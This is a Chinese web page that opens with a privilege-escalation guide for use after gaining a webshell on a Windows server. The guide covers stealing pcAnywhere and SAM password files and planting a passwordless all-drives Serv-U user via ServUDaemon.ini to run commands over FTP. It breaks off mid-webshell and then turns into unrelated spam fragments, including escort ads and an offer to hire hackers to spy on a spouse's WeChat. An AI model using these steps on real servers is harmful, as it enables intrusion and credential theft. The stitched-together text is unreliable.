当我们取得一个webshell时候,下一部要做的就是提升权限
个人总结如下:
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录,如果行那就更好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
2.C:\WINNT\system32\config进这里下它的SAM,破解用户的密码
c:\winnt\repaire 下是备份
用到破解sam密码的软件有LC,SAMinside
3.C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=dede|1]
Password=
HomeDir=c:TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有更高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限
4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行
5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
微信聊天记录怎么找回?在我们平日里使用微信的过程中,稍不留意就会积攒下大量的聊天记录,有些是重要的,而有些则是不。 不能一般来说,在微信上,淘宝的目标对象都是“强关系”,即通过在朋友圈中的熟人社交或者...
俄罗斯统一俄罗斯党官网近期多次遭黑客攻击,目前当地互联网情况如何... 1、俄罗斯统一俄罗斯党官网近期多次遭黑客攻击,说到黑客,大家可能会想到的是一群穿着黑色衣服拿着手机电脑能够进入到一个网络当中来达...
“上海男士养生休闲会馆,您的感受我们的追求-【宗兰燕】”私人高端商务伴游在线预约地点位置模特价格表164cm迎岚株洲商务_高端服务价格,经纪微信,一、株洲商务高端服务项目 您的理想摄影作品是什么。 ...
找黑客监听妻子微信 手机号码相关问题 有黑客强盗QQ吗相关问题 手机资料被黑客备份怎么办 手机定位找人系统(手机微信定位追踪找人)...
本文目录一览: 1、动态图求电影,一个黑人拿着机枪,身上扛着子弹,过安检门,边上有两个警察,它过去的时候门没有响,然 2、揭秘电影中的子弹时间与Nerf新视角合成 3、这个拐弯的子弹出自哪部电...
韩前总统李明博终审获刑17年 日前,一则“韩前总统李明博终审获刑17年”引发关注。据悉,已经保释在家的李明博,即将面临再次被收监。 据透露,10月29日报道,韩国最高法院对前总统李明博...